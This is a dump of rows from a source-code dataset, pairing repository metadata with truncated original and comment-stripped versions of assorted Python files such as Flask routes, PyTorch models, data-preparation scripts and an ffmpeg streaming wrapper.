from torch.optim.lr_scheduler import LambdaLR
from torchvision import models
from constants import ABS_PATH_OF_TOP_LEVEL_DIR
f... | 0 | 1,891 | 0 | 8,515 | 0 | 0 | 0 | 738 | 509 |
89540012dde4ea5fca2d83cb2d910ae782e69e46 | 518 | py | Python | harutya-project/harutya-lol-api/app/routes.py | Old-Interest/Harutya | 8bfd34ee65d2a0acbae499ae6ae544336037b4b4 | [
"MIT"
] | null | null | null | harutya-project/harutya-lol-api/app/routes.py | Old-Interest/Harutya | 8bfd34ee65d2a0acbae499ae6ae544336037b4b4 | [
"MIT"
] | null | null | null | harutya-project/harutya-lol-api/app/routes.py | Old-Interest/Harutya | 8bfd34ee65d2a0acbae499ae6ae544336037b4b4 | [
"MIT"
] | null | null | null | __author__ = 'Harutya'
__date__ = '2021/07/07'
from flask import Blueprint
servlet = Blueprint('harutya-lol-api', __name__)
| 21.583333 | 63 | 0.756757 | __author__ = 'Harutya'
__date__ = '2021/07/07'
from app.server import opggApi
from flask import Blueprint
from utils import harutyaResponse
servlet = Blueprint('harutya-lol-api', __name__)
@servlet.route('/tiers')
def tiers():
return harutyaResponse.success(opggApi.get_tiers())
@servlet.route('/heroes')
def h... | 0 | 255 | 0 | 0 | 0 | 0 | 0 | 21 | 114 |
4db0470277e0579be25c21fcd80a1c66fdfe2862 | 836 | py | Python | prepareData.py | pbrazdil/deepmask | 876df280d46fca181b56e7c03327840c403488a9 | [
"BSD-3-Clause"
] | 1 | 2017-12-06T01:20:18.000Z | 2017-12-06T01:20:18.000Z | prepareData.py | pbrazdil/deepmask | 876df280d46fca181b56e7c03327840c403488a9 | [
"BSD-3-Clause"
] | null | null | null | prepareData.py | pbrazdil/deepmask | 876df280d46fca181b56e7c03327840c403488a9 | [
"BSD-3-Clause"
] | null | null | null | from pycocotools.coco import COCO
import skimage.io as io
import os.path
import sys
if len(sys.argv) <= 1:
print("Data Type argument needs to be `val2014` or `train2014`.")
sys.exit(1)
dataDir = './data'
dataType = sys.argv[1]
fdir = '%s/%s' % (dataDir, dataType)
if not os.path.exists(fdir):
os.makedirs(fdir)
... | 23.222222 | 73 | 0.655502 | from pycocotools.coco import COCO
import numpy as np
import skimage.io as io
import os.path
import sys
if len(sys.argv) <= 1:
print("Data Type argument needs to be `val2014` or `train2014`.")
sys.exit(1)
dataDir = './data'
dataType = sys.argv[1]
fdir = '%s/%s' % (dataDir, dataType)
if not os.path.exists(fdir):
... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | -3 | 22 |
76857e9d67df12aaa2c33423f6804d24336b1d35 | 1,583 | py | Python | python/cuml/comm/serialize.py | harrism/cuml | 060dcd94138deed2ac692031cfe70a674b15c6f0 | [
"Apache-2.0"
] | 1 | 2020-07-13T04:16:50.000Z | 2020-07-13T04:16:50.000Z | python/cuml/comm/serialize.py | harrism/cuml | 060dcd94138deed2ac692031cfe70a674b15c6f0 | [
"Apache-2.0"
] | null | null | null | python/cuml/comm/serialize.py | harrism/cuml | 060dcd94138deed2ac692031cfe70a674b15c6f0 | [
"Apache-2.0"
] | null | null | null | #
# Copyright (c) 2020, NVIDIA CORPORATION.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed ... | 29.867925 | 74 | 0.735313 | #
# Copyright (c) 2020, NVIDIA CORPORATION.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed ... | 0 | 0 | 0 | 0 | 0 | 59 | 0 | 5 | 59 |
908b3c63a394490253c29a02598faff31584f719 | 6,689 | py | Python | P1_Facial_Keypoints/models.py | aliabid2243/CV_ND | fdad3bb29ed7b12de038b5d6aa57719b0154c37d | [
"MIT"
] | 2 | 2020-04-27T14:55:34.000Z | 2021-01-19T14:05:07.000Z | P1_Facial_Keypoints/models.py | aliabid2243/CV_ND | fdad3bb29ed7b12de038b5d6aa57719b0154c37d | [
"MIT"
] | 3 | 2021-09-08T01:56:12.000Z | 2022-03-12T00:26:13.000Z | P1_Facial_Keypoints/models.py | aliabid2243/CV_ND | fdad3bb29ed7b12de038b5d6aa57719b0154c37d | [
"MIT"
] | null | null | null | ## TODO: define the convolutional neural network architecture
import torch.nn as nn
# can use the below import should you choose to initialize the weights of your Net
## TODO: define the convolutional neural network architecture
| 39.579882 | 153 | 0.596203 | ## TODO: define the convolutional neural network architecture
import torch
import torch.nn as nn
import torch.nn.functional as F
# can use the below import should you choose to initialize the weights of your Net
import torch.nn.init as I
class Net(nn.Module):
def __init__(self):
super(Net, self).__init... | 0 | 0 | 0 | 6,338 | 0 | 0 | 0 | 5 | 113 |
49b4b60d2d74d6447a41a3fe4b70b16a8f35618c | 56 | py | Python | helper.py | jacksonnegus/cs3240-labdemo | 81ed8799c49934f6d909963f902aceb71a53e458 | [
"MIT"
] | null | null | null | helper.py | jacksonnegus/cs3240-labdemo | 81ed8799c49934f6d909963f902aceb71a53e458 | [
"MIT"
] | null | null | null | helper.py | jacksonnegus/cs3240-labdemo | 81ed8799c49934f6d909963f902aceb71a53e458 | [
"MIT"
] | null | null | null | # Jackson Negus | 11.2 | 19 | 0.660714 | # Jackson Negus
def greeting(msg):
print(str(msg)) | 0 | 0 | 0 | 0 | 0 | 18 | 0 | 0 | 23 |
c3a8a05455d8756c2c435f596c0a4c87087d2133 | 1,642 | py | Python | assignment2/src/train.py | nilax97/nlp | 008779d9794395f27f022d466f6d1570eb9e679c | [
"MIT"
] | 4 | 2021-05-31T07:03:41.000Z | 2022-01-31T11:52:03.000Z | assignment2/src/train.py | nilax97/nlp | 008779d9794395f27f022d466f6d1570eb9e679c | [
"MIT"
] | null | null | null | assignment2/src/train.py | nilax97/nlp | 008779d9794395f27f022d466f6d1570eb9e679c | [
"MIT"
] | null | null | null | from gensim.models import Word2Vec
import sys
import warnings
import string
import multiprocessing
import pickle
if not sys.warnoptions:
warnings.simplefilter("ignore")
import nltk
nltk.download('averaged_perceptron_tagger');
nltk.download('punkt');
input_data_folder = sys.argv[1];
model_path = sys.argv[2];
pretrain... | 24.878788 | 105 | 0.698538 | import gensim
from gensim.models import Word2Vec, word2vec, KeyedVectors
import numpy as np
import os
import sys
import warnings
import string
import multiprocessing
import string
import pickle
import pandas as pd
if not sys.warnoptions:
warnings.simplefilter("ignore")
import nltk
nltk.download('averaged_perceptron_t... | 0 | 0 | 0 | 276 | 0 | 0 | 0 | 9 | 155 |
99f5159ca3652250900af0da693dc5dbc2ee7af8 | 1,648 | py | Python | beir/losses/margin_mse_loss.py | ArthurCamara/beir | 2739990b719f2d4814d88473cf9965d92d4f4c18 | [
"Apache-2.0"
] | 24 | 2022-03-20T18:48:52.000Z | 2022-03-31T08:28:42.000Z | beir/losses/margin_mse_loss.py | ArthurCamara/beir | 2739990b719f2d4814d88473cf9965d92d4f4c18 | [
"Apache-2.0"
] | 9 | 2022-03-19T14:50:30.000Z | 2022-03-30T17:31:18.000Z | beir/losses/margin_mse_loss.py | ArthurCamara/beir | 2739990b719f2d4814d88473cf9965d92d4f4c18 | [
"Apache-2.0"
] | 3 | 2022-03-25T15:45:14.000Z | 2022-03-25T17:51:23.000Z | from .. import util
| 43.368421 | 114 | 0.688107 | from .. import util
import torch
from torch import nn, Tensor
from typing import Union, Tuple, List, Iterable, Dict
from torch.nn import functional as F
class MarginMSELoss(nn.Module):
"""
Computes the Margin MSE loss between the query, positive passage and negative passage. This loss
is used to train den... | 124 | 0 | 0 | 1,438 | 0 | 0 | 0 | 45 | 111 |
0f149eb1192e16dd41b865536f6be57cffafaf1b | 5,684 | py | Python | cto/icon.py | losenineai/CTO | 6c328b2be7b10ed2b219c8f3e9f99842c9e3d1d0 | [
"MIT"
] | 138 | 2021-10-07T21:35:13.000Z | 2022-03-26T07:31:20.000Z | cto/icon.py | losenineai/CTO | 6c328b2be7b10ed2b219c8f3e9f99842c9e3d1d0 | [
"MIT"
] | 2 | 2021-10-10T07:27:28.000Z | 2021-10-20T02:34:41.000Z | cto/icon.py | losenineai/CTO | 6c328b2be7b10ed2b219c8f3e9f99842c9e3d1d0 | [
"MIT"
] | 12 | 2021-10-08T19:38:02.000Z | 2022-03-16T08:16:35.000Z |
import codecs
g_icon_data_ascii = (
b"89504E470D0A1A0A0000000D4948445200000020000000200806000000737A7A",
b"F4000000097048597300000EC300000EC301C76FA8640000001974455874536F",
b"667477617265007777772E696E6B73636170652E6F72679BEE3C1A0000036249",
b"4441545885ADD75B8855651407F0DF346383948E4E99A65374... | 41.794118 | 92 | 0.679099 | import ida_kernwin
import codecs
g_icon_data_ascii = (
b"89504E470D0A1A0A0000000D4948445200000020000000200806000000737A7A",
b"F4000000097048597300000EC300000EC301C76FA8640000001974455874536F",
b"667477617265007777772E696E6B73636170652E6F72679BEE3C1A0000036249",
b"4441545885ADD75B8855651407F0DF... | 0 | 2,572 | 0 | 683 | 0 | 0 | 0 | -3 | 48 |
d994e822dde457aa69be15421c8059f7fa1112a7 | 1,655 | py | Python | WordTranslationWithoutParallelData/src/net.py | jsenellart/papers | d5525cba87ff40f1ee1aab66a4b3fcda9e9e1148 | [
"MIT"
] | 14 | 2017-11-06T07:30:51.000Z | 2021-06-15T12:48:48.000Z | WordTranslationWithoutParallelData/src/net.py | jsenellart/papers | d5525cba87ff40f1ee1aab66a4b3fcda9e9e1148 | [
"MIT"
] | 1 | 2017-11-07T09:01:43.000Z | 2017-11-07T09:01:43.000Z | WordTranslationWithoutParallelData/src/net.py | jsenellart/papers | d5525cba87ff40f1ee1aab66a4b3fcda9e9e1148 | [
"MIT"
] | 4 | 2017-11-06T07:30:53.000Z | 2019-10-03T16:42:37.000Z | import torch.nn as nn
| 26.693548 | 81 | 0.659215 | import torch
from torch.autograd import Variable
import torch.nn as nn
from scipy.stats import special_ortho_group
class Generator(nn.Module):
def __init__(self, args):
super(Generator, self).__init__()
print("* Generator Model Initialization")
self.net = nn.Linear(args.dim, args.dim, False)
if ar... | 0 | 0 | 0 | 1,492 | 0 | 0 | 0 | 27 | 112 |
48f4bc41c04f5bd44abcf538a17769c81efb510b | 5,328 | py | Python | beorn_lib/dialog/text_dialog/text_drop_down_element.py | PAntoine/beorn_lib | a5bb8859acfb136f33559b6ddbf3bb20f61bd310 | [
"MIT"
] | null | null | null | beorn_lib/dialog/text_dialog/text_drop_down_element.py | PAntoine/beorn_lib | a5bb8859acfb136f33559b6ddbf3bb20f61bd310 | [
"MIT"
] | null | null | null | beorn_lib/dialog/text_dialog/text_drop_down_element.py | PAntoine/beorn_lib | a5bb8859acfb136f33559b6ddbf3bb20f61bd310 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#---------------------------------------------------------------------------------
#
# ,--.
# | |-. ,---. ,---. ,--.--.,--,--,
# ... | 30.976744 | 88 | 0.54467 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#---------------------------------------------------------------------------------
#
# ,--.
# | |-. ,---. ,---. ,--.--.,--,--,
# ... | 0 | 0 | 0 | 3,778 | 0 | 0 | 0 | 58 | 68 |
e9254a9915a316ee6c4bffee28601d74f51ea0e2 | 5,229 | py | Python | src/restfuls/apps/v1/apis/resource.py | Qinnnnnn/Watero_DataCenter | fc56dc13fa9a71817de9243b494dc01ab1d193bd | [
"MIT"
] | null | null | null | src/restfuls/apps/v1/apis/resource.py | Qinnnnnn/Watero_DataCenter | fc56dc13fa9a71817de9243b494dc01ab1d193bd | [
"MIT"
] | null | null | null | src/restfuls/apps/v1/apis/resource.py | Qinnnnnn/Watero_DataCenter | fc56dc13fa9a71817de9243b494dc01ab1d193bd | [
"MIT"
] | null | null | null | #!/usr/bin/python
# -*- coding: utf-8 -*-
"""
File : resource.py
Author : Zerui Qin
CreateDate : 2018-12-07 10:00:00
Note : POST
"""
| 40.223077 | 119 | 0.638363 | #!/usr/bin/python
# -*- coding: utf-8 -*-
"""
File : resource.py
Author : Zerui Qin
CreateDate : 2018-12-07 10:00:00
Note : 设备资源信息，POST
"""
from flask_restful import Resource
from flask_restful import fields
from flask_restful import marshal_with
from flask_restful import reqparse
from src.restfuls.apps.db_model imp... | 216 | 2,403 | 0 | 2,269 | 0 | 0 | 0 | 149 | 201 |
327436658acda76cab7a2e4ab2d44b12cc389ae5 | 21,574 | py | Python | ghreport/ghreport.py | gramster/ghreport | 4b9fe3e80627afad587aff674f88c3612b05256a | [
"MIT"
] | null | null | null | ghreport/ghreport.py | gramster/ghreport | 4b9fe3e80627afad587aff674f88c3612b05256a | [
"MIT"
] | null | null | null | ghreport/ghreport.py | gramster/ghreport | 4b9fe3e80627afad587aff674f88c3612b05256a | [
"MIT"
] | null | null | null | from github import Github
import pytz
import matplotlib.pyplot as plt
plt.style.use('seaborn-whitegrid')
def get_members(owner:str, repo:str, token:str) -> set:
"""
Get the team members for a repo that have push or admin rights. This is not
public so if you are not in such a team (probably wi... | 35.956667 | 145 | 0.544498 | import abc
from dataclasses import dataclass
from datetime import date, datetime, timedelta, timezone
import time
from typing import List, Optional
import asyncio
from github import Github
import pytz
import httpx
import gidgethub.httpx
import matplotlib.pyplot as plt
from bokeh.plotting import figure, output_file, sho... | 0 | 716 | 1,768 | 1,853 | 1,060 | 12,636 | 0 | 117 | 846 |
b64db1204f240f36e3b97e3440a620747d2139ea | 2,639 | py | Python | boss_train.py | hasibzunair/boss-detector | 6e3c425766b8ab396fa4a4b25cbcaff88f4f43b8 | [
"MIT"
] | 74 | 2018-07-04T06:50:54.000Z | 2022-01-10T02:03:18.000Z | boss_train.py | hasibzunair/boss-detector | 6e3c425766b8ab396fa4a4b25cbcaff88f4f43b8 | [
"MIT"
] | null | null | null | boss_train.py | hasibzunair/boss-detector | 6e3c425766b8ab396fa4a4b25cbcaff88f4f43b8 | [
"MIT"
] | 3 | 2018-07-18T21:48:21.000Z | 2018-08-08T11:49:33.000Z | import cv2
face_detector = cv2.CascadeClassifier(CASCADE_FILE)
face_recognizer = cv2.face.LBPHFaceRecognizer_create()
# build dataset for face recognizer
# train face recognizer
print("building...")
build()
print("training...")
train()
print("done...") | 32.9875 | 85 | 0.615764 | import cv2
import numpy
from os import path, walk, listdir, makedirs
from __config__ import *
face_detector = cv2.CascadeClassifier(CASCADE_FILE)
face_recognizer = cv2.face.LBPHFaceRecognizer_create()
# build dataset for face recognizer
def build():
face_name = input("ent... | 0 | 0 | 0 | 0 | 0 | 2,212 | 0 | 17 | 133 |
48a3f1ce008cd47292a917a26b9814e5429c6c0f | 5,738 | py | Python | colour/models/cie_lab.py | canavandl/colour | a453cd37b6135a9092d5ea5b2aafb8d19134bdff | [
"BSD-3-Clause"
] | 1 | 2019-06-27T11:32:48.000Z | 2019-06-27T11:32:48.000Z | colour/models/cie_lab.py | canavandl/colour | a453cd37b6135a9092d5ea5b2aafb8d19134bdff | [
"BSD-3-Clause"
] | null | null | null | colour/models/cie_lab.py | canavandl/colour | a453cd37b6135a9092d5ea5b2aafb8d19134bdff | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
CIE Lab Colourspace
===================
Defines the *CIE Lab* colourspace transformations:
- :func:`XYZ_to_Lab`
- :func:`Lab_to_XYZ`
- :func:`Lab_to_LCHab`
- :func:`LCHab_to_Lab`
See Also
--------
`CIE Lab Colourspace IPython Notebook
<http://nbviewer.ipytho... | 25.056769 | 119 | 0.555943 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
CIE Lab Colourspace
===================
Defines the *CIE Lab* colourspace transformations:
- :func:`XYZ_to_Lab`
- :func:`Lab_to_XYZ`
- :func:`Lab_to_LCHab`
- :func:`LCHab_to_Lab`
See Also
--------
`CIE Lab Colourspace IPython Notebook
<http://nbviewer.ipytho... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
6199b3666386dd5691210baebaf3f74fe1e30cef | 13,625 | py | Python | case-study-HSR/data_HSR.py | stefanoborto/optimization-equilibrium-dcm | 3b671d42bdcc6908c02aa0b3f1cb13dc866c1f6d | [
"MIT"
] | null | null | null | case-study-HSR/data_HSR.py | stefanoborto/optimization-equilibrium-dcm | 3b671d42bdcc6908c02aa0b3f1cb13dc866c1f6d | [
"MIT"
] | null | null | null | case-study-HSR/data_HSR.py | stefanoborto/optimization-equilibrium-dcm | 3b671d42bdcc6908c02aa0b3f1cb13dc866c1f6d | [
"MIT"
] | null | null | null | '''
Data used in Section 5.3 of the following article:
S. Bortolomiol, V. Lurkin, M. Bierlaire (2021).
A Simulation-Based Heuristic to Find Approximate Equilibria with
Disaggregate Demand Models. Transportation Science 55(5):1025-1045.
https://doi.org/10.1287/trsc.2021.1071
Discrete choice model derived from th... | 54.282869 | 148 | 0.496073 | '''
Data used in Section 5.3 of the following article:
S. Bortolomiol, V. Lurkin, M. Bierlaire (2021).
A Simulation-Based Heuristic to Find Approximate Equilibria with
Disaggregate Demand Models. Transportation Science 55(5):1025-1045.
https://doi.org/10.1287/trsc.2021.1071
Discrete choice model derived from th... | 0 | 0 | 0 | 0 | 0 | 11,561 | 0 | -10 | 97 |
ae20acc5b0d113491d893ece8a78c7de22528707 | 2,689 | py | Python | Sketches/MH/filereading/SimpleMultiFileStreamer.py | sparkslabs/kamaelia_orig | 24b5f855a63421a1f7c6c7a35a7f4629ed955316 | [
"Apache-2.0"
] | 12 | 2015-10-20T10:22:01.000Z | 2021-07-19T10:09:44.000Z | Sketches/MH/filereading/SimpleMultiFileStreamer.py | sparkslabs/kamaelia_orig | 24b5f855a63421a1f7c6c7a35a7f4629ed955316 | [
"Apache-2.0"
] | 2 | 2015-10-20T10:22:55.000Z | 2017-02-13T11:05:25.000Z | Sketches/MH/filereading/SimpleMultiFileStreamer.py | sparkslabs/kamaelia_orig | 24b5f855a63421a1f7c6c7a35a7f4629ed955316 | [
"Apache-2.0"
] | 6 | 2015-03-09T12:51:59.000Z | 2020-03-01T13:06:21.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Copyright 2010 British Broadcasting Corporation and Kamaelia Contributors(1)
#
# (1) Kamaelia Contributors are listed in the AUTHORS file and at
# http://www.kamaelia.org/AUTHORS - please extend this file,
# not this notice.
#
# Licensed under the Apache License... | 36.835616 | 98 | 0.712161 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Copyright 2010 British Broadcasting Corporation and Kamaelia Contributors(1)
#
# (1) Kamaelia Contributors are listed in the AUTHORS file and at
# http://www.kamaelia.org/AUTHORS - please extend this file,
# not this notice.
#
# Licensed under the Apache License... | 0 | 0 | 0 | 0 | 0 | 413 | 0 | 145 | 175 |
364332f06d3280962715298d754e1137e73c6d79 | 4,689 | py | Python | nfv/nfv-vim/nfv_vim/vim_api.py | SidneyAn/nfv | 5f0262a5b6ea4be59f977b9c587c483cbe0e373d | [
"Apache-2.0"
] | 2 | 2020-02-07T19:01:36.000Z | 2022-02-23T01:41:46.000Z | nfv/nfv-vim/nfv_vim/vim_api.py | SidneyAn/nfv | 5f0262a5b6ea4be59f977b9c587c483cbe0e373d | [
"Apache-2.0"
] | 1 | 2021-01-14T12:02:25.000Z | 2021-01-14T12:02:25.000Z | nfv/nfv-vim/nfv_vim/vim_api.py | SidneyAn/nfv | 5f0262a5b6ea4be59f977b9c587c483cbe0e373d | [
"Apache-2.0"
] | 2 | 2021-01-13T08:39:21.000Z | 2022-02-09T00:21:55.000Z | #
# Copyright (c) 2015-2016 Wind River Systems, Inc.
#
# SPDX-License-Identifier: Apache-2.0
#
import argparse
from netaddr import IPAddress
import signal
import socket
import sys
from wsgiref import simple_server
from nfv_common import config
from nfv_common import debug
from nfv_common import selobj
from nfv_common ... | 27.910714 | 82 | 0.644061 | #
# Copyright (c) 2015-2016 Wind River Systems, Inc.
#
# SPDX-License-Identifier: Apache-2.0
#
import argparse
from netaddr import IPAddress
import signal
import socket
import sys
from wsgiref import simple_server
from nfv_common import config
from nfv_common import debug
from nfv_common import selobj
from nfv_common ... | 0 | 623 | 0 | 190 | 0 | 137 | 0 | 19 | 69 |
5acbfad43e856c43c59d0edcc4335d7143f8c35c | 396 | py | Python | Chapter02/sources/numpy-ex3.py | gabrielmahia/AIWuShu | 0c2507e812ab0824f50e44c17470ba15fc1042d2 | [
"MIT"
] | 63 | 2019-08-26T04:52:37.000Z | 2022-02-16T19:04:46.000Z | Chapter02/sources/numpy-ex3.py | urantialife/Hands-On-Artificial-Intelligence-for-Cybersecurity | 507e736b23b8c62ded7f544763edaf3ccaba506d | [
"MIT"
] | null | null | null | Chapter02/sources/numpy-ex3.py | urantialife/Hands-On-Artificial-Intelligence-for-Cybersecurity | 507e736b23b8c62ded7f544763edaf3ccaba506d | [
"MIT"
] | 47 | 2019-08-15T21:46:01.000Z | 2022-03-08T01:12:23.000Z | import numpy as np
# w is the vector of weights
w = np.array([0.1, 0.2, 0.3])
# matrices as input datasets
data1 = np.array([0.3, 1.5, 2.8])
data2 = np.array([0.5, 0.4, 0.9])
data3 = np.array([2.3, 3.1, 0.5])
data_in = np.array([data1[0],data2[0],data3[0]])
print('Predicted value: $%.2f' % ... | 18 | 56 | 0.565657 | import numpy as np
def predict(data, w):
return data.dot(w)
# w is the vector of weights
w = np.array([0.1, 0.2, 0.3])
# matrices as input datasets
data1 = np.array([0.3, 1.5, 2.8])
data2 = np.array([0.5, 0.4, 0.9])
data3 = np.array([2.3, 3.1, 0.5])
data_in = np.array([data1[0],data2[0... | 0 | 0 | 0 | 0 | 0 | 26 | 0 | 0 | 25 |
fd1e84fd89b6a77d68873530fb1019ca2ba77b28 | 7,384 | py | Python | v2g_score_prototype/scripts/score_v2g_v2.py | thehyve/genetics-v2g-data | 96544d075955282ab0f8bef287a11bb782942cf7 | [
"Apache-2.0"
] | 7 | 2019-01-30T01:08:15.000Z | 2022-03-07T20:43:53.000Z | v2g_score_prototype/scripts/score_v2g_v2.py | thehyve/genetics-v2g-data | 96544d075955282ab0f8bef287a11bb782942cf7 | [
"Apache-2.0"
] | null | null | null | v2g_score_prototype/scripts/score_v2g_v2.py | thehyve/genetics-v2g-data | 96544d075955282ab0f8bef287a11bb782942cf7 | [
"Apache-2.0"
] | 5 | 2019-07-11T09:37:58.000Z | 2021-07-30T23:05:37.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Ed Mountjoy
#
import sys
import argparse
import pandas as pd
import numpy as np
from sklearn.preprocessing import quantile_transform
# from scipy.stats import rankdata
def weighted_mean_src(grp, score_col, weight_map):
''' Calculate weighted mean using source_id ... | 30.386831 | 100 | 0.568662 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Ed Mountjoy
#
import sys
import os
import argparse
import pandas as pd
import numpy as np
from sklearn.preprocessing import quantile_transform
import seaborn as sns
import matplotlib.pyplot as plt
from matplotlib import rcParams
# from scipy.stats import rankdata
def... | 0 | 0 | 0 | 0 | 0 | 4,470 | 0 | 8 | 134 |
4d469f5db762841c6dcb0a51a4541d5a92a7b971 | 5,353 | py | Python | fHDHR/device/tuners/stream/ffmpeg_stream.py | deathbybandaid/fHDHR_NewsOn | 06d205a3ca677b88fa93b9b7503465aed1838c6b | [
"WTFPL"
] | 2 | 2021-11-21T18:45:35.000Z | 2022-01-11T16:11:48.000Z | fHDHR/device/tuners/stream/ffmpeg_stream.py | deathbybandaid/fHDHR_NewsOn | 06d205a3ca677b88fa93b9b7503465aed1838c6b | [
"WTFPL"
] | null | null | null | fHDHR/device/tuners/stream/ffmpeg_stream.py | deathbybandaid/fHDHR_NewsOn | 06d205a3ca677b88fa93b9b7503465aed1838c6b | [
"WTFPL"
] | null | null | null |
# from fHDHR.exceptions import TunerError
| 40.24812 | 111 | 0.542686 | import sys
import subprocess
# from fHDHR.exceptions import TunerError
class FFMPEG_Stream():
def __init__(self, fhdhr, stream_args, tuner):
self.fhdhr = fhdhr
self.stream_args = stream_args
self.tuner = tuner
self.bytes_per_read = int(self.fhdhr.config.dict["ffmpeg"]["bytes_per... | 24 | 0 | 0 | 5,249 | 0 | 0 | 0 | -15 | 67 |
43d0e2bdb73d9d4912c702b09cc770800404f29f | 306 | py | Python | view/msgparser.py | WareLee/LANTIM | d21b446441e30fe4b67dedd2a38da31b73df8824 | [
"Apache-2.0"
] | null | null | null | view/msgparser.py | WareLee/LANTIM | d21b446441e30fe4b67dedd2a38da31b73df8824 | [
"Apache-2.0"
] | null | null | null | view/msgparser.py | WareLee/LANTIM | d21b446441e30fe4b67dedd2a38da31b73df8824 | [
"Apache-2.0"
] | null | null | null | # view
# self:{username}:{any info}
# broadcast:{username}:{info wanted to send}, client
# {time of client msg creating}:{friendusername}:{info wanted to send},
# :
#
#
# view | 34 | 99 | 0.699346 | # 用于显示层view的消息解析与组装的工具模块
# 自报家门数据格式： self:{username}:{any info}
# 请求广播格式：broadcast:{username}:{info wanted to send}, 注：广播消息根据实际到达client的时间排序
# 单播数据报格式： {time of client msg creating}:{friendusername}:{info wanted to send},注：单播消息的数据顺序由接收客户端负责
# 上下文:
# 剩余工作
# 完成该工具模块
# 完成view层的各种事件 | 300 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
816ebd3c6947050737cf4d0521f97ed014a894a5 | 3,185 | py | Python | queenbee/io/outputs/function.py | AntoineDao/queenbee | 800d5b26a69cffbce85864ea9430304b7fb8d11a | [
"MIT"
] | 10 | 2020-12-17T06:08:46.000Z | 2022-02-12T12:06:08.000Z | queenbee/io/outputs/function.py | AntoineDao/queenbee | 800d5b26a69cffbce85864ea9430304b7fb8d11a | [
"MIT"
] | 213 | 2020-12-06T03:34:01.000Z | 2022-03-28T01:07:41.000Z | queenbee/io/outputs/function.py | AntoineDao/queenbee | 800d5b26a69cffbce85864ea9430304b7fb8d11a | [
"MIT"
] | 4 | 2019-08-14T22:10:29.000Z | 2020-09-21T22:46:11.000Z | """Queenbee output types for functions.
For more information on plugins see plugin module.
"""
from typing import Union
FunctionOutputs = Union[
FunctionStringOutput, FunctionIntegerOutput, FunctionNumberOutput,
FunctionBooleanOutput, FunctionFolderOutput, FunctionFileOutput, FunctionPathOutput,
... | 26.541667 | 88 | 0.695761 | """Queenbee output types for functions.
For more information on plugins see plugin module.
"""
from typing import Union
from pydantic import constr, Field
from ..common import PathOutput, ItemType
class FunctionFileOutput(PathOutput):
"""Function File output."""
type: constr(regex='^FunctionFileOutput$') =... | 0 | 141 | 0 | 2,389 | 0 | 0 | 0 | 33 | 252 |
4aec7f142bfb271d99ddb0515cb122038dcb12e3 | 5,316 | py | Python | SVassembly/count_bcs_in_windows.py | AV321/SVassembly2 | 71b061403ef72dece0023098625436d0f32b8649 | [
"MIT"
] | null | null | null | SVassembly/count_bcs_in_windows.py | AV321/SVassembly2 | 71b061403ef72dece0023098625436d0f32b8649 | [
"MIT"
] | null | null | null | SVassembly/count_bcs_in_windows.py | AV321/SVassembly2 | 71b061403ef72dece0023098625436d0f32b8649 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
#From Stephanie Greer's github
"""
:Author: Ji Research Group/Stanford Genome Technology Center
:Contact: sgreer2@stanford.edu
:Creation date: 24.11.2016
:Description:
This script counts the number of unique barcodes in windows around the SV breakpoints
This script requires:
- all of the pyt... | 32.414634 | 147 | 0.677765 | #!/usr/bin/env python
#From Stephanie Greer's github
"""
:Author: Ji Research Group/Stanford Genome Technology Center
:Contact: sgreer2@stanford.edu
:Creation date: 24.11.2016
:Description:
This script counts the number of unique barcodes in windows around the SV breakpoints
This script requires:
- all of the pyt... | 0 | 0 | 0 | 0 | 0 | 2,347 | 0 | -52 | 246 |
5a32c3421e6af9d46c13d5cea16b87bf5ba932b1 | 2,466 | py | Python | CondTools/DT/test/popcon_hv.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 852 | 2015-01-11T21:03:51.000Z | 2022-03-25T21:14:00.000Z | CondTools/DT/test/popcon_hv.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 30,371 | 2015-01-02T00:14:40.000Z | 2022-03-31T23:26:05.000Z | CondTools/DT/test/popcon_hv.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 3,240 | 2015-01-02T05:53:18.000Z | 2022-03-31T17:24:21.000Z | import FWCore.ParameterSet.Config as cms
process = cms.Process("TEST")
process.load("CondCore.DBCommon.CondDBCommon_cfi")
process.CondDBCommon.connect = 'sqlite_file:testhv.db'
process.CondDBCommon.DBParameters.authenticationPath = '.'
#process.DTHVCheckByAbsoluteValues = cms.Service("DTHVCheckByAbsoluteValues")
pro... | 35.228571 | 77 | 0.636253 | import FWCore.ParameterSet.Config as cms
process = cms.Process("TEST")
process.load("CondCore.DBCommon.CondDBCommon_cfi")
process.CondDBCommon.connect = 'sqlite_file:testhv.db'
process.CondDBCommon.DBParameters.authenticationPath = '.'
#process.DTHVCheckByAbsoluteValues = cms.Service("DTHVCheckByAbsoluteValues")
pro... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
ef2b62767798f4dc52aa404a9cf6f2377be97fc4 | 3,019 | py | Python | tests/test_generate.py | gitter-badger/phasespace | bf22aecb29163a222b76fe44af64849c4d19ab29 | [
"BSD-3-Clause"
] | null | null | null | tests/test_generate.py | gitter-badger/phasespace | bf22aecb29163a222b76fe44af64849c4d19ab29 | [
"BSD-3-Clause"
] | null | null | null | tests/test_generate.py | gitter-badger/phasespace | bf22aecb29163a222b76fe44af64849c4d19ab29 | [
"BSD-3-Clause"
